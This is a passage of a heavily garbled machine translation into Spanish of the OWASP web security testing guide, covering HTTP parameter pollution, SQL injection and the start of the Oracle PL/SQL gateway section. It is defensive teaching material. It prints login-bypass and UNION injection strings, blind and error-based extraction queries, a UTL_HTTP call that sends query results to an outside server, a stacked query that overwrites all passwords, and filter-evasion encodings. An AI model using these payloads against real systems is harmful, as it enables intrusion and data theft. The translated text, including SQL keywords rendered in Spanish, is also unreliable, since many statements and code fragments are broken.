Documentos de Académico
Documentos de Profesional
Documentos de Cultura
IDENTIFICACIÓN
WSTG-INPV-03
230
IDENTIFICACIÓN
WSTG-INPV-04
Resumen
para Por ejemplo , si el parámetro nombre de usuario es incluido en los parámetros GET o POST
dos veces .
Abastecimiento múltiples parámetros HTTP con el mismo nombre puede causar un solicitud a
interpretar valores en imprevistos
maneras . Por explotando estos efectos , un agresor puede estar disponible para omitir la
validación de entrada , activar solicitud errores o modificar
valores de variables internas . Como parámetro HTTP La contaminación (en resumen, HPP) afecta
a un componente básico de todas las tecnologías web ,
Los estándares HTTP actuales no incluir guía en cómo a interpretar múltiples parámetros de
entrada con el mismo nombre .
Para Por ejemplo , RFC 3986 simplemente define el término Consulta Cadena como una serie de
valor de campo pares y RFC 2396 define
clases de invertido y sin reservas consulta cadena caracteres . Sin un estándar establecido, la
aplicación web componentes
manejar este Estuche de borde en una variedad de maneras ( ver la tabla a continuación para
detalles ).
al parámetro HTTP Contaminación ataques en este caso. Para presentar mejor esto clase de
vulnerabilidades y el resultado de
Ataques HPP , es interesante a analizar algo de vida real ejemplos eso tener estado descubierto en
el pasado .
atencion desde la seguridad comunidad como posible forma para evitar los firewalls de
aplicaciones web .
Uno de estos defectos , afectando Las reglas básicas de inyección SQL de ModSecurity representan
una solución perfecta. ejemplo de la impedancia
discordancia entre Aplicaciones y filtros . La ModSeguridad filtrar haría correctamente aplicar una
negación lista para el siguiente
cadena : seleccione 1,2,3 de la tabla, de este modo bloqueando este URL de ejemplo de ser
procesada por el servidor web:
la entrada. como un Por ejemplo , la URL / index.aspx?page = select 1&page=2,3 from table no
desencadenar el
Otra vulnerabilidad de HPP transformado afuera a afectan a las Apple Cups, las conocidas
impresión sistema usado por muchos sistemas UNIX .
Explotar HPP, una agresor podría fácilmente desencadenar una vulnerabilidad de secuencias de
comandos entre sitios usando la siguiente URL:
podría ser evitado por añadiendo un kerberos adicional argumento tener un valido cadena ( por
ejemplo , vacía cadena ). como la validacion
control haría solo considere el segundo ocurrencia , la primera Kerberos parámetro era no
adecuadamente desinfectado
antes ser usado a generar Contenido HTML dinámico . Exitoso explotación haría resultado en
código JavaScript
Omisión de autenticación
Un Vulnerabilidad HPP aún más crítica era descubierto en Blogger, el popular blogging plataforma .
El error permitido
malicioso usuarios a llevar propiedad del blog de la víctima por usando la siguiente solicitud HTTP
(https://www.blogger.com/add-authors.do ):
231
[...]
security_token=attackertoken&blogID=attackerblogidvalue&blogID=victimblogidvalue&authorsList
=goldshl
La falla residió en la autenticación mecanismo usado por la aplicación web , como seguridad
controlar era realizado en
la primera ID de blog parámetro , mientras que la operación real usé el segundo ocurrencia .
La siguiente tabla ilustra cómo diferentes tecnologías web comportarse en presencia de múltiple
ocurrencias de la misma
Parámetro HTTP .
ASP.NET/IIS Todo ocurrencias concatenado con una coma color= rojo, azul
ASP/IIS Todo ocurrencias concatenado con una coma color= rojo, azul
JSP, Servlet / Servidor de aplicaciones Oracle 10g primero ocurrencia solo color = rojo
Python / Zope Todos ocurrencias en el tipo de datos de lista color=[' rojo','azul ']
Objetivos de la prueba
Evaluar inyección puntos e intente omitir los filtros de entrada utilizando HPP.
Cómo Probar
Por suerte , porque la tarea de parámetros HTTP es típicamente manejado a través del servidor de
aplicaciones web , y no del
solicitud código mismo , probando la respuesta a parámetro contaminación debe ser estándar en
todo todo páginas y acciones .
Sin embargo , a medida que se profundiza negocio lógica conocimiento es Si es necesario , probar
HPP requiere pruebas manuales . Automático las herramientas pueden
solo parcialmente asistir auditores como ellos tender a generar también muchos falsos positivos.
Además , HPP puede manifestarse mismo en
232
Para probar las vulnerabilidades de HPP , identifique cualquier forma o acción eso permite entrada
proporcionada por el usuario . Consulta cadena parámetros en
Las solicitudes HTTP GET son fáciles a ajustar en la barra de navegación del navegador. si el
formulario acción envía datos a través de POST, el
ensayador voluntad necesidad usar un interceptar proxy a manosear con los datos POST como es
enviado al servidor. Teniendo identificado un
parámetro de entrada particular para probar, se pueden editar los datos GET o POST interceptar la
solicitud , o cambiar la consulta
cadena después de que se cargue la página de respuesta . Para probar las vulnerabilidades de HPP
simplemente agregar lo mismo parámetro al GET o
http://ejemplo.com/?search_string=gatitos
El parámetro particular podría estar oculto entre varios otro parámetros , pero el enfoque es el
mismo ; dejar el
http://example.com/?mode=guest&search_string=gatitos&num_results=100
http://example.com/?
mode=guest&search_string=gatitos&num_results=100&search_string=cachorros
Analice la página de respuesta para determinar qué los valores fueron analizado . en lo anterior
ejemplo , la búsqueda resultados puede
[' gatitos ',' cachorros ' ]) , mayo dar un vacío resultado o página de error.
Una más profunda análisis haría requerir tres solicitudes HTTP para cada parámetro HTTP :
1. Enviar una solicitud HTTP que contiene el parámetro estándar nombre y valor , y registre la
respuesta HTTP. P.ej .
página?par1=val1
2. Reemplace el parámetro valor con un manipulado valor , envíe y registre la respuesta HTTP. P.ej
. ¿página?
par1=HPP_TEST1
3. Enviar una nueva solicitud combinando los pasos (1) y (2). Nuevamente , guarde la respuesta
HTTP. P.ej . ¿página?
par1=val1&par1=HPP_TEST1
4. Compara las respuestas obtenidas durante todo anterior pasos . Si la respuesta de (3) es
diferente de (1) y el
la respuesta de (3) es también diferente de (2), hay es un impedancia discordancia eso puede ser
eventualmente abusado a
Elaborar un exploit completo a partir de un parámetro contaminación debilidad es más allá del
alcance de este texto . Ver las referencias para
ejemplos y detalles .
233
Similarmente a HPP del lado del servidor , pruebas manuales es el único confiable técnica a auditar
aplicaciones web en orden a detectar
aprovecha una aplicación web vulnerable a acceso datos protegidos o a llevar a cabo
comportamiento eso cualquiera no permitido o no
supuesto para ser ejecutado , del lado del cliente ataques apuntar a subvertir lado del cliente
componentes y tecnologías .
Para probar el lado del cliente HPP vulnerabilidades , identificar cualquier forma o acción eso
permite entrada del usuario y muestra un resultado de eso
entrada de vuelta al usuario . Una página de búsqueda es ideal, pero un cuadro de inicio de sesión
podría no trabajo ( como podría no mostrar un inválido nombre de usuario
volver al usuario ) .
Similarmente a HPP del lado del servidor , contaminar cada parámetro HTTP con %26HPP_TEST y
busque URL decodificada ocurrencias de
&HPP_TEST
etc.
En particular, pagar atención a respuestas que tienen vectores HPP dentro datos , src , href
atributos o formas acciones .
filtrado y aplicación negocio lógica . Además , es importante a aviso eso este la vulnerabilidad
también puede afectar consulta
Herramientas
Referencias
Libros blancos
Parámetro HTTP del lado del cliente Contaminación Ejemplo ( fallo de Yahoo! Classic Mail ) -
Stefano di Paola
234
Pruebas para inyección SQL
IDENTIFICACIÓN
WSTG-INPV-05
Resumen
inyección SQL pruebas cheques si él es posible a inyectar datos en la aplicación para que él ejecuta
un SQL controlado por el usuario
sin Validación de entrada adecuada . Un éxito explotación de este clase de vulnerabilidad permite
un no autorizado usuario a
Una inyección SQL ataque consiste de inserción o “ inyección ” de ya sea un parcial o completar
consulta SQL a través de la entrada de datos o
transmitido desde el cliente (navegador) a la aplicación web . Una inyección SQL exitosa El ataque
puede leer datos confidenciales.
desde la base de datos , modificar datos de la base de datos ( insertar / actualizar / eliminar ),
ejecutar administración operaciones en la base de datos
sistema de archivos y, en algunos casos, problema comandos al operativo sistema . inyección SQL
Los ataques son un tipo. de inyección
ataque , en el que se inyectan comandos SQL en la entrada del plano de datos para a afectar la
ejecución de SQL predefinido
comandos .
En general, la forma en que las aplicaciones web construir sentencias SQL que involucra la sintaxis
SQL escrito por los programadores es
en el ejemplo encima de la variable $id contiene datos proporcionados por el usuario , mientras
que el resto es el SQL estático parte
porque el camino él era construido , el usuario puede suministrar entrada elaborada intentando a
hacer la declaración SQL original
ejecutar más comportamiento del usuario elección . El ejemplo abajo ilustra los datos
proporcionados por el usuario “10 o 1=1”, cambiando
la lógica de la sentencia SQL , modificando la cláusula WHERE agregando una condición “ o 1=1”.
En banda : los datos son extraído usando el mismo canal eso es usado a inyectar el código SQL .
Este es lo mas
directo amable de ataque , en el que los datos recuperados son presentado directamente en la
página web de la aplicación .
Fuera de banda : los datos son recuperado usando un diferente canal ( p. ej ., un correo
electrónico con los resultados de la consulta es generado
y enviado al probador ) .
inferencial o ciego : allí No hay una transferencia real de datos, sino que el probador es capaz a
reconstruir la información por enviando
Una inyección SQL exitosa ataque requiere el atacante a elaborar un sintácticamente Consulta SQL
correcta . Si la aplicación
devoluciones un mensaje de error generado por un incorrecto consulta , entonces él puede ser
más fácil para un agresor a reconstruir la lógica
de la consulta original y, por lo tanto , entender cómo a realizar la inyección correctamente . Sin
embargo , si la aplicación se esconde
los detalles del error , luego el probador debe poder hacer ingeniería inversa a la lógica de la
consulta original .
Sobre las técnicas a explotar la inyección SQL defectos hay cinco los comunes técnicas . También
aquellos técnicas
A veces se puede utilizar de forma combinada. manera ( ej . unión operador y fuera de banda ):
235
Unión Operador : se puede utilizar cuando la inyección SQL defecto sucede en una declaración
SELECT , haciendo él posible a
Booleano : use booleano condición (es) para verificar si cierto las condiciones son verdaderas o
falsas.
Basado en errores : esto técnica fuerza la base de datos a generar un error, dándole al atacante o
ensayador información al
Fuera de banda : técnica usado a recuperar datos usando un diferente canal ( por ejemplo , hacer
una conexión HTTP a envía el
Retraso de tiempo : usar la base de datos comandos ( por ejemplo , dormir ) para demora
respuestas en condicional consultas . Él es útil cuando
Objetivos de la prueba
Cómo Probar
Detección Técnicas
El primer paso en esta prueba es a entender cuando la solicitud interactúa con un servidor DB para
poder a acceso algunos datos.
Típico ejemplos de casos cuando un solicitud necesidades a hablar a una base de datos incluyen :
estan controlados contra una base de datos eso contiene todo nombres de usuario y contraseñas (
o , mejor , hash de contraseña ).
Buscar motores : la cuerda enviado por el usuario podría usarse en una consulta SQL eso extractos
todo importante registros
Sitios de comercio electrónico: los productos y sus Las características ( precio , descripción ,
disponibilidad , etc ) son muy probable ser
El probador tiene que Hacer una lista de todos los campos de entrada cuyo valores podría usarse
para elaborar una consulta SQL , incluida la opción oculta
campos de solicitudes POST y luego probarlas por separado , intentando a interferir con la
consulta y a generar un error.
La primera es utilizado en SQL como una cadena terminador y, si no filtrado por la aplicación ,
daría lugar a un incorrecto consulta . El
campo vulnerable podría parecerse a lo siguiente ( en un Microsoft SQL Server, en este caso):
[Microsoft ] [ Controlador ODBC de SQL Server] [SQL Server] Sin cerrar cotización marca antes de
También comentario delimitadores (-- o /* */ , etc ) y otras palabras clave SQL como AND y OR se
pueden utilizar tratar de modificar
la consulta . Un muy simple pero a veces aún eficaz técnica es simplemente a insertar una cadena
donde un numero es esperado ,
[Microsoft ] [ Controlador ODBC de SQL Server] [SQL Server] Error de sintaxis al convertir el
Supervise todas las respuestas del servidor web y eche un vistazo a la fuente HTML/JavaScript.
código . A veces el
el error es presente adentro a ellos pero para alguno El motivo ( p. ej ., error de JavaScript,
comentarios HTML , etc. ) es no presentado hacia
236
usuario . Un mensaje de error completo , como los de los ejemplos , proporciona una gran riqueza
de información al probador en orden a montar un
exitoso inyección ataque . Sin embargo , las aplicaciones a menudo no proporcionar tanto detalle :
un simple 'Error del servidor 500' o un
Es posible que se emita una página de error personalizada , lo que significa eso nosotros necesidad
usar ciego inyección técnicas . En cualquier caso , es muy
importante para probar cada campo por separado : solo una variable debe variar mientras todo los
demás permanecer constante , en orden a
SELECCIONE * DE Usuarios DONDE Nombre de usuario ='$ nombre de usuario ' Y Contraseña ='$
contraseña '
consulta similar es generalmente utilizado desde la aplicación web para a autenticar a un usuario .
Si la consulta devuelve un valor él
medio eso dentro de la base de datos un usuario con ese conjunto de cartas credenciales existe ,
entonces el usuario es permitido a acceso al sistema ,
de lo contrario acceso es denegado . Los valores de los campos de entrada son generalmente
obtenido del usuario a través de un formulario web .
La consulta será :
SELECCIONE * DE Usuarios DONDE Nombre de usuario ='1' O '1' = '1' Y Contraseña ='1' O '1' = '1'
Si nosotros suponer que los valores de los parámetros son enviados al servidor a través del
método GET , y si el dominio del
sitio web vulnerable es www.example.com, la solicitud eso Bueno llevar afuera será :
http://www.example.com/index.php?username=1'%20or%20'1'%20=
%20'1&password=1'%20or%20'1'%20=%20' 1
Después de un breve análisis nosotros aviso que la consulta devuelve un valor ( o un conjunto de
valores ) porque la condición es siempre cierto
(O 1=1). En esto forma en que el sistema ha autenticado al usuario sin conociendo el nombre de
usuario y contraseña .
En algunos sistemas el primero fila de una tabla de usuario sería un administrador usuario . Este
puede ser el perfil regresó en
algunos casos.
En este caso , hay dos problemas , uno pendiente al uso de los paréntesis y uno pendiente al uso
de hash MD5
función . Primero de todos nosotros Resuelve el problema de los paréntesis . Eso simplemente
consiste de sumando un numero de clausura
paréntesis hasta nosotros obtener una corregida consulta . para resolver el segundo problema ,
tratamos de evadir el segundo condición .
Nosotros agregar a nuestro consultar un símbolo final que medio que un comentario es comienzo .
En esto manera , todo eso sigue semejante
el símbolo es considerado un comentario . Cada DBMS tiene su propio sintaxis para comenta , sin
embargo , un símbolo común a la
mayor que mayoría de las bases de datos es * . En Oracle el símbolo es -- . Este dijo , los valores
eso usaremos como nombre de usuario
y Contraseña son:
$ contraseña = foo
SELECCIONE * DE Usuarios DONDE (( Nombre de usuario ='1' o '1' = '1' ))/ *') Y ( Contraseña
=MD5('$ contraseña ')))
237
http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/
*&password=foo
Este puede devolver un número de valores . A veces , la autenticación código verifica que el
numero de regresó
registros / resultados es exactamente igual a 1. En el anterior ejemplos , esto situación Sería difícil
( en la base de datos allá es
solo uno valor por usuario ). En orden a ir alrededor este problema , es es suficiente a insertar un
comando SQL eso impone un
condición que el numero de los regresados resultados debe ser uno . ( Uno registro devuelto ) En
orden a alcanzar este objetivo , utilizamos
el operador LIMIT < num > , donde <num> es el número de los resultados / registros eso nosotros
desear ser devuelto . Con respeto
$ contraseña = foo
http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/
*&password=foo
SELECCIONAR Declaración
http://www.example.com/product.php?id=10
Cuando el probador intenta una válida valor ( por ejemplo , 10 en este caso), la aplicación voluntad
devolver la descripción de un producto . Un bien
forma para probar si la aplicación es vulnerable en esto guión es jugar con lógica , utilizando los
operadores AND y OR.
Considere la solicitud :
http://www.example.com/product.php?id=10 Y 1=2
En este caso, probablemente la aplicación haría devolver alguno mensaje narración a nosotros allá
no hay contenido disponible o un espacio en blanco
página. Entonces el evaluador puede enviar una declaración verdadera y verificar si allá es un
valido resultado :
http://www.example.com/product.php?id=10 Y 1=1
apilados Consultas
Dependiente en la API que la aplicación web es usando y el DBMS ( por ejemplo , PHP +
PostgreSQL, ASP+SQL SERVER)
Este forma es posible a ejecutar muchos consultas seguidas e independientes del primero consulta
.
238
Incluso a través del lenguaje SQL es un estándar, cada DBMS tiene su peculiaridad y se diferencia
de cada uno otros en muchos
aspectos como especial comandos , funciones a recuperar datos como usuarios nombres y bases
de datos , características , comentarios
línea, etc.
Cuando los probadores mover a una inyección SQL más avanzada explotación ellos necesidad a
saber cual es el final base de datos
es .
La primera forma a encontrar afuera que parte trasera base de datos es usado es por observando
el error devuelto por la aplicación . El
MySQL :
Un UNION SELECT completo con La versión ( ) también puede ayuda a conoce el final base de
datos .
SELECCIONE id, nombre DE los usuarios DONDE id=1 UNION SELECT 1, límite de versión ( ) 1,1
Oráculo:
Servidor MS SQL:
Error del cliente nativo de Microsoft SQL '80040e14'
SELECCIONE id, nombre DE los usuarios DONDE id=1 UNION SELECT 1, @@ limite de versión 1, 1
PostgreSQL:
Si allá no hay mensaje de error o un mensaje de error personalizado , el evaluador puede intentar
inyectar en cadena campos usando variar
concatenación técnicas :
Explotación Técnicas
columnas de otras mesas. Suponer para nuestro ejemplos que la consulta ejecutado desde el
servidor es el siguiente :
239
SELECCIONE Nombre , Teléfono , Dirección DE Usuarios DONDE Id=1 UNION TODOS SELECCIONE
númeroTarjetaDeCrédito,1,1 DE
palabra clave TODO es necesario a conseguir alrededor consultas que usan la palabra clave
DISTINTO . Es más , nosotros aviso eso más allá de
crédito tarjeta números , nosotros tener seleccionado dos otro valores . Estos dos los valores son
necesarios porque los dos consultas
debe tener un igual número de parámetros / columnas en orden a evitar un error de sintaxis .
En orden a lograr esto el probador puede usar la cláusula ORDER BY seguido por un número
indicando la numeración de
Si la consulta ejecuta con éxito que el evaluador puede asumir , en este Por ejemplo , hay 10 o más
columnas en SELECT
declaración . Si la consulta falla entonces allá debe ser menos de 10 columnas regresó por la
consulta . Si allá es un error
después del probador encuentra fuera los números de columnas , el siguiente paso es a encontrar
fuera el tipo de columnas . Asumiendo allá eran 3
columnas en el ejemplo arriba , el probador podría probar cada uno columna escriba , usando el
valor NULL a ayuda a ellos :
Si la consulta ejecuta con éxito , el primero La columna puede ser una entero . Entonces el
probador puede moverse más y así sucesivamente :
Después del éxito información reunión , dependiendo en la solicitud , puede solo muestre al
probador el primero resultado ,
porque la aplicación golosinas solo la primera línea del conjunto de resultados . En este caso , es
posible utilizar una cláusula LIMIT o el
El probador puede establecer un inválido valor , haciendo solo el segundo consulta válido
( suponiendo allá no hay entrada en la base de datos cual
El ID es 99999):
El booleano explotación técnica es muy útil cuando el probador encuentra una inyección SQL ciega
situación , en la que nada
creó una página de error personalizada que hace no revelar cualquier cosa en la estructura de la
consulta o en la base de datos . (La página
hace no devolver un error de SQL , puede justo devolver un HTTP 500, 404 o redireccionar ).
240
Por usando inferencia métodos , es es posible a evitar este obstáculo y por lo tanto a lograr
recuperar los valores de alguno
deseado campos . Este método consiste de que lleva a cabo una serie de booleano consultas
contra el servidor, observando la
y nosotros suponer eso él contiene un parámetro ID con nombre vulnerable a la inyección SQL .
Este medio eso que lleva fuera de
siguiente pedido :
http://www.example.com/index.php?id=1'
Nosotros voluntad conseguir una página con una costumbre error de mensaje que es pendiente a
un error sintáctico en la consulta . Nosotros suponer que el
Cual es explotable a través de los métodos visto previamente . Qué nosotros desear a obtener son
los valores del nombre de usuario campo .
Los exámenes eso nosotros voluntad ejecutar voluntad permitir a nosotros a obtener el valor del
nombre de usuario campo , extrayendo semejante valor personaje por
SUBSTRING ( texto , inicio , longitud ): devuelve una subcadena comenzando desde la posición “
inicio ” de texto y de longitud “ longitud ”. Si
“ empezar ” es mayor que que la longitud de texto , la función devuelve un nulo valor .
ASCII ( carácter ) : devuelve el valor ASCII del carácter de entrada . un nulo valor es regresó si
carbonizarse es 0.
voluntad aprobar al segundo y así sucesivamente hasta nosotros voluntad tener descubrió todo
valor . Los exámenes voluntad llevar ventaja del
función SUBSTRING, en orden a seleccionar solo uno carácter a la vez ( seleccionando un solo
carácter medio a imponer el
longitud parámetro a 1), y la función ASCII, para a obtener el valor ASCII , de modo que podemos
hacer números
comparación . Los resultados de la comparación se hará con todos los valores de la tabla ASCII,
hasta la derecha valor es
Eso crea lo siguiente consulta (a partir de ahora en , nosotros voluntad llamar es “ inferencial
consulta "):
97. Si nosotros obtener un valor falso , entonces nosotros aumentar el índice de la tabla ASCII de
97 a 98 y repetir la petición . Si
en cambio nosotros Para obtener un valor verdadero , nos fijamos en poner a cero el índice de la
tabla ASCII y nosotros analizar el siguiente personaje , modificando
Los parametros de la función SUBCADENA . El problema es a entender en que forma podemos
distinguir pruebas
devolviendo un valor verdadero de esos eso falso retorno . Para hacer esto , nosotros crear una
consulta eso siempre devuelve falso. Este es
SELECCIONE campo1, campo2, campo3 DE los usuarios DONDE Id='1' Y '1' = '2'
La respuesta obtenida del servidor ( que es código HTML ) será el valor falso para nuestro
pruebas . Este es suficiente a verificar
ejecutado antes . A veces , esto método hace no trabajar . Si el servidor regresa dos diferente
páginas como resultado de dos
solicitudes web consecutivas idénticas , nosotros voluntad no ser capaz a discriminar el valor
verdadero del valor falso . En estos
casos particulares, es es necesario utilizar filtros particulares eso permitir a nosotros a eliminar el
código eso cambios entre los dos
241
solicitudes y a obtener una plantilla . Más tarde por cada inferencial pedido ejecutado , nosotros
voluntad extraer la plantilla relativa
de la respuesta usando el mismo función , y nosotros voluntad realizar un control entre los dos
plantillas en orden para decidir
cuando nosotros debería terminar la inferencia procedimiento . unas técnicas para hacer esto usa
uno característica de la SUBCADENA
función y la función LONGITUD . Cuando la prueba compara la corriente personaje con el código
ASCII 0 (es decir, el valor
null ) y la prueba devuelve el valor verdadero, entonces cualquiera hemos terminado con la
inferencia procedimiento ( nosotros tener escaneó el
entero cadena ), o el valor nosotros tener analizado contiene el nulo personaje .
donde n es el numero de caracteres eso nosotros tener analizado hasta ahora no contando el nulo
valor ). La consulta será :
el valor del parámetro . Si nosotros obtener falso, esto medio que el nulo personaje es presente en
el valor del parámetro ,
y nosotros debe continuar analizar el siguiente parámetro hasta nosotros encontrar otro nulo
valor .
La inyección SQL ciega ataque necesita un alto volumen de consultas . el probador puede
necesidad un automático herramienta a explotar el
vulnerabilidad .
Un error basado explotación técnica es útil cuando el probador para alguno razón no poder
explotar la inyección SQL
vulnerabilidad usando otro técnica como por ejemplo UNIÓN. El error basado técnica consiste en
forzar la base de datos a
llevar a cabo alguno operación en la que el resultado será un error . El punto aquí es tratar de
extracto algunos datos de la
base de datos y mostrarla en el mensaje de error . Este explotación La técnica puede ser diferente
de DBMS a DBMS ( verifique
http://www.example.com/product.php?id=10
http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( ( SELECCIONAR
usuario DE DUAL) )--
En esto ejemplo , el probador es concatenando el valor 10 con el resultado de la función
UTL_INADDR.GET_HOST_ NAME. Este
función de oráculo tratará de devolver el nombre de host del parámetro aprobado a eso , que es
otro consulta , el nombre del usuario .
Cuando la base de datos busca un nombre de host con el usuario base de datos nombralo
voluntad fallar y regresar un mensaje de error como :
el mensaje de error .
Este técnica es muy útil cuando el probador encontrar una inyección SQL ciega situación , en la
que nada es conocido sobre el
resultado de un operación . La técnica consiste del uso de funciones DBMS a llevar a cabo un
afuera de conexión de banda
242
y entregar los resultados de lo inyectado consulta como parte de la solicitud al servidor del
probador . Como el error basado técnicas ,
Cada DBMS tiene su propio funciones . Controlar para sección específica DBMS .
http://www.example.com/product.php?id=10
http://www.example.com/product.php?id=10||UTL_HTTP.request( 'testerserver.com:80'||
(SELECCIONAR usuario DE
DOBLE)--
función tratará de conectar a testerserver y realizar una solicitud HTTP GET que contiene el
retorno de la consulta
SELECCIONE usuario DE DUAL. El evaluador puede configurar un servidor web ( por ejemplo ,
Apache) o utilizar Netcat. herramienta :
Anfitrión: testerserver.com
Conexión : cerrar
El retraso del tiempo explotación técnica es muy útil cuando el probador encontrar una inyección
SQL ciega situación , en la que
nada es conocido sobre el resultado de un operación . Este técnica consiste en enviar un inyectado
consulta y en caso de que
condicional es cierto, el probador puede controlar el tiempo necesario a para que el servidor
responder . Si allá es un retraso , el probador puede
asumir el resultado del condicional consulta es verdad. Este explotación La técnica puede ser
diferente de DBMS a DBMS.
http://www.example.com/product.php?id=10
la respuesta. A veces puede establecer un alto valor ( por ejemplo , 100) y cancelar la solicitud
después de algunos segundos .
procedimiento .
243
Crear procedimiento usuario_login @nombre de usuario varchar ( 20), @passwd varchar (20)
Como
Dónde nombre de usuario = ' + @nombre de usuario + ' y contraseña = ' + @contraseña
ejecutivo (@sqlstring)
Ir
del usuario :
cualquier contraseña
Este procedimiento hace no desinfectar la entrada, por lo tanto permitiendo el regreso valor para
mostrar un existente registro con estos
parámetros .
Este ejemplo puede parecer improbable pendiente al uso de SQL dinámico para iniciar sesión
como usuario , pero considerar una dinámica informar
consulta donde el usuario selecciona las columnas a vista . El usuario podría insertar malicioso
código en este escenario y
Crear
Como
ejecutivo (@sqlstring)
Ir
del usuario :
1 de usuarios ; actualizar los usuarios establecen contraseña = ' contraseña '; seleccionar *
Este voluntad dar como resultado que el informe se ejecute y todo contraseñas de los usuarios ser
actualizado .
Automatizado Explotación
Mayoría de la situación y las técnicas presentado aquí se puede realizar de forma automatizada
forma usando alguno herramientas . En esto
artículo que el evaluador puede encontrar información cómo a llevar a cabo un automatizado
revisión de cuentas usando Mapa SQL
Se utilizan las técnicas para eludir defensas como los firewalls de aplicaciones web ( WAF ) o
intrusión prevención sistemas
Espacio en blanco
Goteante espacio o añadiendo espacios eso no Afecta la declaración SQL . Para ejemplo
o 'a'='a'
o 'a' = 'a'
244
Añadiendo especial personaje como nueva línea o pestaña eso no cambiar la declaración SQL
ejecución . Para ejemplo ,
'una'=
'a'
Bytes nulos
Utilice el byte nulo (%00) antes de cualquier caracteres que el filtro es bloqueando .
Para Por ejemplo , si el atacante puede inyecta el siguiente SQL
'UNION SELECCIONA contraseña DE Usuarios DONDE nombre de usuario =' admin '--
%00' UNION SELECCIONAR contraseña DE Usuarios DONDE nombre de usuario =' admin '--
Comentarios SQL
Agregar SQL en línea los comentarios también pueden ayuda a la declaración SQL para ser válido y
evitar la inyección SQL filtrar . Llevar este
'/**/UNION/**/SELECT/**/contraseña/**/FROM/**/Users/**/WHERE/**/name/**/LIKE/
**/'admin'--
'/**/UNI/**/ON/**/SE/**/LECT/**/contraseña/**/FROM/**/Usuarios/**/WHE/**/RE/**/
nombre/**/ME GUSTA/**/'admin'--
Codificación de URL
%27%20UNION%20SELECT%20contraseña%20FROM%20Users%20WHERE%20nombre%3D
%27admin%27--
Personaje Codificación
Se puede utilizar la función Char ( ). a reemplace el carácter inglés . Para Por ejemplo , char
( 114,111,111,116) significa raíz
Cadena Concatenación
Concatenación rompe las palabras clave SQL y evade los filtros . Concatenación la sintaxis varía
según en base de datos motor .
seleccione 1
declaración SQL simple se puede cambiar como se muestra a continuación por usando
concatenación
245
Maleficio Codificación
Declarar variables
; declarar @SQLivar nvarchar ( 80); set @myvar = N'UNI' + N'ON' + N' SELECT' + N'contraseña ');
EJECUTIVO(@SQLivar)
o 20 & gt ; 1
O 2 entre 3 y 1
1y1=1
1 || 1 = 1
1 && 1 = 1
Remediación
Para proteger el servidor SQL, consulte a la hoja de referencia de seguridad de la base de datos .
Herramientas
herramientassqlbf
Referencias
Top 10 2017-A1-Inyección
Inyección SQL
246
Tecnología específico Páginas de la guía de pruebas tener estado creado para el siguiente DBMS :
Oráculo
mysql
servidor SQL
PostgreSQL
Acceso MS
No SQL
ORM
Libros blancos
“ZeQ3uL” ( Prathan Phongthiproek ) y “ Suphot Boonchamnan ”: “ Más allá SQLi : ofuscar y omitir”
adí Kaploun y Eliran Goshen, la amenaza del punto de control Inteligencia e investigación Equipo :
“La última inyección SQL
Tendencias ”
Anatomía de la inyección SQL en Drupal base de datos comentario filtración sistema SA-CORE-
2015-003
247
Resumen
Las aplicaciones PL/SQL basadas en web están habilitadas por la puerta de enlace PL/SQL, que es
es el componente eso traduce web
oyente web producto al módulo Apache mod_plsql al servidor web de la base de datos XML (XDB).
Todo tener su propio
peculiaridades y problemas , cada uno de cual será completamente investigado en este capítulo .
Productos que utilizan la puerta de enlace PL/SQL
incluyen , pero no son limitado a , Oracle HTTP Server, eBusiness Suite, Portal, HTMLDB, WebDB y
Oracle
de aplicaciones .
Cómo Probar
Básicamente, la puerta de enlace PL/SQL simplemente actúa como un servidor proxy tomando la
solicitud web del usuario y pasa él en hacia
1. El servidor web acepta una solicitud de un cliente web y determina si él debe ser procesado por
el PL/SQL
Puerta.
2. La puerta de enlace PL/SQL procesa la solicitud. por extrayendo lo solicitado paquete nombre ,
procedimiento y variables.
servidor.
4. El servidor de la base de datos ejecuta el procedimiento y envía los resultados al Gateway como
HTML.
Comprensión este punto es importante - el código PL/SQL hace no existir en el servidor web sino
más bien en la base de datos
servidor. Este medio eso cualquier debilidades en la puerta de enlace PL/SQL o cualquier
debilidades en la aplicación PL/SQL , cuando
explotado , dar un agresor directo acceso al servidor de la base de datos ; sin cantidad de
cortafuegos prevenir este .
URL para aplicaciones web PL/SQL normalmente son fácilmente reconocible y generalmente
comenzar con lo siguiente ( xyz puede ser
http://www.ejemplo.com/pls/xyz
http://www.ejemplo.com/xyz/owa
http://www.example.com/xyz/plsql
Mientras que el segundo y el tercero de estos ejemplos representar URL de más antiguas
versiones del Gateway PL/SQL, el primero es
como ubicación con el módulo PLS como controlador . La locación necesidad Sin embargo , no
será/ por favor . La ausencia de un archivo
extensión en una URL podría indicar la presencia de la puerta de enlace Oracle PL/SQL. Considere
la siguiente URL:
http://www.server.com/aaa/bbb/xxxxx.yyyyy
Si xxxxx.yyyyy eran reemplazado con algo a lo largo de las lineas de ebank.home , store.welcome ,
auth.login o
libros.buscar , entonces hay una bastante gran posibilidad de que la puerta de enlace PL/SQL esté
ser usado . Él es también posible a
preceder a lo solicitado paquete y procedimiento con el nombre del usuario eso posee eso - es
decir, el esquema - en este caso el
http://www.server.com/pls/xyz/webuser.pkg.proc
En esta URL, xyz es el descriptor de acceso a la base de datos , o DAD. Un papá especifica
información sobre el servidor de base de datos
que la puerta de enlace PL/SQL pueda conectarse . Él contiene información como el TNS connect
cadena , el ID de usuario y
248
SIMPLIDAD
HTMLDB
ORASO
SSODAD
PORTAL
PORTAL 2
PORTAL30
PORTAL30_SSO
PRUEBA
PAPÁ
APLICACIÓN
EN LÍNEA
DB
OWA
con . Si tú no ya saber , por Por ejemplo , en una evaluación de caja negra . escenario , entonces el
primero cosa tú necesidad hacer es
trabajar este afuera . Reconocer una aplicación PL/SQL basada en web es bonito fácil . Primero ,
allí es el formato de la URL y qué
parece que se discutió arriba . Más allá de eso hay un conjunto de pruebas simples que se puede
realizar para probar la existencia
Los encabezados de respuesta del servidor web son una buena indicador en cuanto a si el servidor
está ejecutando la puerta de enlace PL/SQL. El
La mesa debajo liza alguno de los encabezados de respuesta típicos del servidor :
Servidor-de-aplicaciones-Oracle-10g
Servidor-de-aplicaciones-Oracle-10g/10.1.2.0.0 Servidor-HTTP-Oracle
Servidor-de-aplicaciones-Oracle-10g/9.0.4.1.0 Servidor-HTTP-Oracle
Servidor-de-aplicaciones-Oracle-10g/9.0.4.0.0
